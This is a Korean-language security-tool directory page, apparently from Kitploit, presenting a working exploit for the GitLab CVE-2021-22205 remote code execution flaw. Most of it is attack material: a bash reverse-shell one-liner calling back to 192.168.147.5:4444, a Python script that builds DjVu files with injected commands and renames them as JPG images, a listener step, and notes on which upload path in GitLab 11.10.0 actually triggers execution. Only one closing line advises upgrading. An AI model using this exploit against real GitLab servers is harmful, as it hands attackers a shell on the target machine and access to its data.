Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-22205-getshell — CVE-2021-22205-getshell | Kitploit
도구/GitHubGitHub/shang159/cve-2021-22205-getshell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubshang159/cve-2021-22205-getshell

CVE-2021-22205-getshell

CVE-2021-22205-getshell

저장소 보기
34년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-22205-getshell

CVE-2021-22205-getshell

테스트 버전

취약점 악용 명령 생성

root@kitploit:~
echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh

djvumake를 이용한 취약점 악용 이미지 생성

root@kitploit:~
import os
payloads=[
    "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
    "chmod +x /tmp/1.sh",
    "/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
    rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
    with open("rce-{0}.txt".format(index), "wb") as text_file:
        text_file.write(rce_payload)
    text_file.close()
    os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
    index=index+1

로컬에서 4444 포트 리슨하여 리버스 셸 대기

root@kitploit:~
nv -lv 192.168.147.5 4444

이미지를 각각 GitLab에 업로드

  • 여기는 인터넷의 exp와 차이가 있는 부분입니다. 많은 취약점 exp에서 사용하는 GitLab은 12 또는 13의 높은 버전이며, 업로드 지점은 새 Snippets를 만드는 곳으로 path는 /uploads/user입니다.
  • 제가 검증한 버전은 11.10.0이며, 공개된 업로드 경로 /uploads/user를 사용하면 404가 표시되고, Snippets의 업로드 경로 /uploads/personal_snippet를 사용하면 명령을 실행할 수 없습니다.
  • 최종적으로 새 issue 페이지에서 이미지를 업로드하여 명령 실행에 성공했습니다.

리버스 셸 성공으로 대상 머신 권한 획득

세 개의 이미지를 각각 업로드한 후, 세 번째 이미지가 리버스 셸 명령을 실행하여 대상 머신의 권한을 획득하는 데 성공했습니다.

수정 권장 사항

가능한 한 빨리 GitLab을 최신 보안 버전으로 업그레이드하십시오.

도구 다운로드